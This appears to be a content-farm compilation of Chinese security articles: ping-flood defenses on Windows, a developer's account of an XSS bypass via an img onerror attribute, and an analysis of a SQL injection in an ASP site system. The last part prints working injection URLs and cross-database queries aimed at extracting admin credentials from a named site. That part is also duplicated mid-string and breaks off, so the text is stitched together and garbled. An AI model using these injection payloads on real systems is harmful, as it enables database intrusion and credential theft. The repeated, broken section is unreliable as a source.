以下是小编为大家准备的对Ping漏洞的安全须知及防范措施，本文共5篇，欢迎大家前来参阅。
篇1：对Ping漏洞的安全须知及防范措施
对Ping漏洞的安全须知及防范措施！
Ping入侵即是ICMP（Internet Control and Message Protocal是因特网控制消息错误报文协议）入侵，原理是通过Ping大量的数据包使得计算机的CPU使用率居高不下而崩溃，通常在一个时段内连续向计算机发出大量请求而导致CPU处理不及而死机.
一、安全须知
Windows的操作系统谁都知道比较危险，原因就是漏洞实在很多，单靠打补丁就已经足够烦恼，要是万一被 盯上或者病毒破坏那后果就更严重了。往往利用系统自身的缺陷来进行各种入侵向来就是 常得手的重要途径。随着宽带互联网的普及，家家户户使用网络已经渐渐增多。由此带来的安全问题也威胁着计算机的安全。懂得网络的人都知道我们常用Ping命令来检查网络是否畅通的一个简单的手段，可是这个Ping也能给Windows系统带来严重的后果，那就是Ping入侵即是ICMP（Internet Control and Message Protocal是因特网控制消息错误报文协议）入侵，原理是通过Ping大量的数据包使得计算机的CPU使用率居高不下而崩溃，通常在一个时段内连续向计算机发出大量请求而导致CPU处理不及而死机。
二、防范措施
步骤1：需要打开在电脑的桌面，右键点击网上邻居属性本地连接属性Internet协议（TCP/IP）属性高级选项-TCP/IP筛选-属性，
步骤2：你看到一个窗口是关于TCP/IP筛选，先点击选中启用TCP/IP筛选（所有适配器）。然后分别在TCP端口、UDP端口和IP协议的添加框上，点击只允许，后按添加按钮，然后在跳出的对话框输入端口，通常我们用来上网的端口是：80、8080，而邮件服务器的端口是：25、110，FTP的端口是20、21，同样地进行UDP端口和IP协议的添加。
步骤3：打开控制面板管理工具本地安全策略，然后右击IP安全策略，在本地机器选管理IP筛选器和IP筛选器操作，在管理IP筛选器和IP筛选器操作列表中添加一个新的过滤规则，名称输入防止ICMP攻击，然后按添加，在源地址选任何IP地址，目标地址选我的IP地址，协议类型为ICMP，设置完毕。
步骤4：在管理筛选器操作，取消选中使用添加向导，添加，在常规中输入名字Deny的操作，安全措施为阻止。这样我们就有了一个关注所有进入ICMP报文的过滤策略和丢弃所有报文的过滤操作了。
步骤5：点击IP安全策略，在本地机器，选择创建IP安全策略-下一步-输入名称为ICMP过滤器，通过增加过滤规则向导，把刚刚定义的防止ICMP攻击过滤策略指定给ICMP过滤器，然后选择刚刚定义Deny的操作，然后右击防止ICMP攻击并启用。
三、总结
经过利用安全策略来这样设置，你的计算机在防范ICMP的攻击和入侵方面就安全多了，对于那些企图入侵发来的大量数据包都能拦截下来，保证你的计算机免受破坏。
篇2：浅谈我公司对安全应急的响应漏洞预警
公司对 进行的攻击的应急处理还是很欠缺的，发现有安全问题的，往往是客户（也是受害者）因为客户发现自己的数据被更改了，然后投诉到公司说数据什么被恶意更改的问题吧，然后公司的运维人员就查下数据库里面的信息，发现有JS代码（经过特殊处理的js代码）插入到数据库里。（公司一般被XSS攻击的太多了，感觉应急处理太被动了，客户要是第一次肯定觉得可以原谅下，但是要是下次，多次被更改，我感觉客户不会在爱了…由于我在该公司是做PHP开发，所以没能真正的应急处理。我接下来做到事就是 找原因对症下药治好它，也就是我PHP开发人员该干的）
篇3：浅谈我公司对安全应急的响应漏洞预警
1. 运维部门没有良好的日志查看习惯，导致被 攻击了暂时不知道。
2. 恶意代码过滤方法写在服务端的话， 就不知道其过滤方法，只能慢慢测试，测试过程中会留有日志，这样查看日志还是有效果的。
3. 恶意代码快速从数据库里删除
目前只是这些，如果不足，欢迎大家补充。。。
篇4：浅谈我公司对安全应急的响应漏洞预警
既然已经来了，我们就要分析那段js代码是如何绕过我们公司的xss过滤的（以便做好相应的修复方法），我如果不说那 是怎么绕过XSS过滤的，你们肯定觉的我这文章写的没意思，扯淡的，
我就大概说下那 是怎么绕过的，html的img标签的属性比如src属性没错我想你应该猜到了，那位 是绕过了这个属性内的双引号控制，进而增加个onerror属性，导致XSS，其实公司这块是有过滤的，由于还有其他部分的过滤替换（关键就是这个替换太扯淡了，更扯淡的是过滤方法 都是写在js端里- -（写在服务端会死啊），黑阔都可以看见我们的过滤方法，进行白盒审计下就可以发现替换处有漏洞），原因找到了，那么我们就可以进行修复了。。。
篇5：对形象中国全站系统的搜索注入漏洞的一点分析脚本安全
首先声明，这个漏洞不是我发现的，我只是作了一次的分析，不足之处请不吝指教，
这个站点在当初被认为是比较安全的全站系统，事实上现在也是。（后来的补丁里出现了上传漏洞，不在讨论之列。）因此这个系统被改编为很多版本：
Nowa 0.94版本（原版）
形象中国整站（修改版本）
蓝雨整站（修改版本）
落日整站（修改版本）
流星整站（修改版本）---------------------------------------------（感谢hak_ban提供）
我的站www.918x.com就是这个系统的，还有很多的站点用到这个系统（包括小路的666w.com，嘿嘿）。
我们先来看漏洞文件的原代码：
<%sub article_body()
dim totalart,Currentpage,totalpages,i,j,colname
openarticle
sql=“select art_id,cat_id,art_title,art_date,art_count from art order by art_date DESC”
if request(“cat_id”)“” then
sql=“select art_id,cat_id,art_title,art_date,art_count from art where cat_id=”&request(“cat_id”)&“ order by art_date DESC”
elseif request(“keyword”)“” then
sql=“select art_id,cat_id,art_title,art_date,art_count from art where ”&request(“select”)&“ like %”&request(“keyword”)&“%order by art_date DESC”
elseif request(“cat_id”)“” and request(“keyword”)“” then
sql=“select art_id,cat_id,art_title,art_date,art_count from art where art_title or art_content like %”&request(“keyword”)&“%order by art_date DESC”
end if
set rs=server.createobject(“adodb.recordset”)
rs.open sql,conn,1,1
%>
关键这句：
sql=“select art_id,cat_id,art_title,art_date,art_count from art where ”&request(“select”)&“ like %”&request(“keyword”)&“%order by art_date DESC”
我们从另一个文件FORMAT.asp里发现文件对request的keyword变量进行了过滤，却没有对request的select进行有效检查。
所以当我们提交（%20是空格）
www.918x.com/article.asp?select=art_title&keyword=1%20and%201=1
是不成功的，但是提交：
www.918x.com/article.asp? keyword=1&select=art_title%20and%201=1
www.918x.com/article.asp? keyword=1&select=art_title%20and%201=2
就能成功的达到注入的目的。整个文章系统有两处搜索，除了article.asp还有download.asp，于是看了看代码，却没有发现&request(“select”)，而是直接把soft_name等放在查询中，看起来好象这两个查询不是同一个人写的。
再来说说利用。我们知道，这个整站有5个数据库，密码保存在admin.mdb里（默认情况下），
而上述注入只是征对article.mdb的。我们最多能够暴出article.mdb表里的数据。
那能不能跨库查询呢？
首先我必须知道保存admin的数据库的名字，假设为admin.asp，我们还需要知道数据库的物理路径，假设为d:\web\data\ 然后如下查询：
www.918x.com/article.asp? keyword=1&select=art_title%20and %200(select%20count(*)%20from%20d:\web\data\admin.asp.admin%20where%20admin_name)
www.918x.com/article.asp? keyword=1&select=art_title%20and %200(select%20count(*)%20from%20d:\web\data\admin.asp.admin%20where%20admin_password)
返回成功，则说明有admin表和admin_name,admin_password列。接下来便可以注入，暴出用户名和密码来。我就不多说了，大家都会的。
这种情况适用于
1．知道数据库的物理路径
2．数据库不在可访问的web目录里，在上级目录，或者其他地方，或者数据库作了防下载处理（否则我们可以直接下载admin数据库，又何必注入那么麻烦呢。）
总的来说利用的价值不大，何况20040415的补丁使得密码还是md5加密的。
rt_date,art_count from art where cat_id=“&request(”cat_id“)&” order by art_date DESC“
elseif request(”keyword“)”“ then
sql=”select art_id,cat_id,art_title,art_date,art_count from art where “&request(”select“)&” like %“&request(”keyword“)&”%order by art_date DESC“
elseif request(”cat_id“)”“ and request(”keyword“)”“ then
sql=”select art_id,cat_id,art_title,art_date,art_count from art where art_title or art_content like %“&request(”keyword“)&”%order by art_date DESC“
end if
set rs=server.createobject(”adodb.recordset“)
rs.open sql,conn,1,1
%>[/code]
关键这句：
sql=”select art_id,cat_id,art_title,art_date,art_count from art where “&request(”select“)&” like %“&request(”keyword“)&”%order by art_date DESC“
我们从另一个文件FORMAT.asp里发现文件对request的keyword变量进行了过滤，却没有对request的select进行有效检查。
所以当我们提交（%20是空格）
www.918x.com/article.asp?select=art_title&keyword=1%20and%201=1
是不成功的，但是提交：
www.918x.com/article.asp? keyword=1&select=art_title%20and%201=1
www.918x.com/article.asp? keyword=1&select=art_title%20and%201=2
就能成功的达到注入的目的。整个文章系统有两处搜索，除了article.asp还有download.asp，于是看了看代码，却没有发现&request(”select")，而是直接把soft_name等放在查询中，看起来好象这两个查询不是同一个人写的。
再来说说利用。我们知道，这个整站有5个数据库，密码保存在admin.mdb里（默认情况下）。
而上述注入只是征对article.mdb的。我们最多能够暴出article.mdb表里的
文档为doc格式
